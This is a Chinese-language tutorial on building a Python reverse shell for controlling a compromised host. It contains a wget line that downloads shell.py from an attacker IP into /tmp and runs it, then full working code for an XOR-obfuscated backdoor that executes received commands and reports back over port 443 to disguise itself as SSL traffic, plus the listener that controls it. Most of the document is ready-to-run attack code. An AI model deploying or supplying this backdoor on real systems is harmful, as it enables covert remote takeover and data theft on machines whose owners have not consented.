##反向shell
這篇教程將會教你使用Python編寫一個反向shell,首先我們先演示使用Python如何利用web服務器的功能,把文件從另一臺主機傳送過來。我們假設你有一臺傀儡主機,你現在想下載傀儡機上面的的文件。那么你就可以使用shell(或meterpreter)去訪問這臺傀儡機,你可以通過一行Python代碼把傀儡機建立成為一個web服務器,然后下載傀儡機上面的文件.
創建一個python HTTP服務器可以直接使用python的內建函數"SimpleHTTPServer"來創建,你可以使用'-m'參數直接在命令行調用模塊,創建的服務器默認是監聽的8000端口,但是你可以指定端口,直接在'SimpleHTTPServer'后面跟一個端口參數:
```
python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 80 ...
```
我們假設你沒有防火墻去阻止你的連接,那么你是可以請求到這服務器的數據。你可以在任何目錄里面去啟動Python HTTP服務器,這樣你就能夠通過瀏覽器或者是遠程客戶端來訪問這個目錄。這里有一個簡單的例子告訴你使用wget工具去獲取文件,但是有些時候就會經常發現你根本沒有權限在當前目錄寫入文件并且初始化這個腳本,但是你可以改變腳本執行的目錄,下面這個例子就演示了把腳本在/tmp目錄下面執行:
```
#使用-O參數,把文件保存在其他目錄- /tmp/ 一般可寫
wget -O /tmp/shell.py http://<attacker_ip>/shell.py
#修改權限
chmod a+x /tmp/shell.py
# 使用file命令檢查文件是否正確
file /tmp/shell.py
#執行腳本
/usr/bin/python /tmp/shell.py
```
現在讓我看一個實際的后門代碼。我們將會使用socket,subprocess和sys模塊,我非常的喜歡subprocess模塊因為它允許你能儲存STDOUT給一個變量,然后在腳本中的其他地方使用,然后新增一個傳輸層,通過443端口來傳輸文件,這個端口經常用在傳輸ssl的數據可以很容易的混淆數據:
```
#!/usr/bin/python
import socket,subprocess,sys
RHOST = sys.argv[1]
RPORT = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
while True:
# 從socket中接收XOR編碼的數據
data = s.recv(1024)
# XOR the data again with a '\x41' to get back to normal data
en_data = bytearray(data)
for i in range(len(en_data)):
en_data[i] ^=0x41
# 執行解碼命令,subprocess模塊能夠通過PIPE STDOUT/STDERR/STDIN把值賦值給一個變量
comm = subprocess.Popen(str(en_data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
STDOUT, STDERR = comm.communicate()
# 輸出編碼后的數據并且發送給指定的主機RHOST
en_STDOUT = bytearray(STDOUT)
for i in range(len(en_STDOUT)):
en_STDOUT[i] ^=0x41
s.send(en_STDOUT)
s.close()
```
上面的代碼中有些概念已經在0x1中介紹過了,但是除了之前的使用socket創建一個連接之外,我們通過subprocess模塊執行了一個命令,subprocess模塊非常的方便,它允許你通過STDOUT/STDERR命令直接把值賦值給一個變量,然后我們可以通過命令把輸出的進行編碼然后通過socket網絡發送出去。使用OXR的好處就是你能夠很容易編碼你要發送過去的數據,然后通過相同的密鑰來解碼返回的數據,最后解碼后的數據可以以明文的形式去執行命令。
現在為了利用好這個后門,我們需要一個監聽腳本并且解碼后端傳輸過來的數據,讓我們通過明文很清晰的看清楚返回的數據。下面我們將要設計一個監聽器。來獲取反向shell的數據,并且能夠對于輸入/輸出的進行解碼/編碼,為了能夠在終端上面能夠很清晰的看出來,所以需要使用XOR編碼:
```
import socket
s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", 443))
s.listen(2)
print "Listening on port 443... "
(client, (ip, port)) = s.accept()
print " Received connection from : ", ip
while True:
command = raw_input('~$ ')
encode = bytearray(command)
for i in range(len(encode)):
encode[i] ^=0x41
client.send(encode)
en_data=client.recv(2048)
decode = bytearray(en_data)
for i in range(len(decode)):
decode[i] ^=0x41
print decode
client.close()
s.close()
```
這章的例子非常有趣,對于學習信息安全的朋友都喜歡shell,大家可以對代碼做點修改讓這個腳本也能夠在window上面也能夠正常運行,最后大家可以使用base64來代替XOR進行編碼與解碼,這些練習有助于你更加靈活的使用python.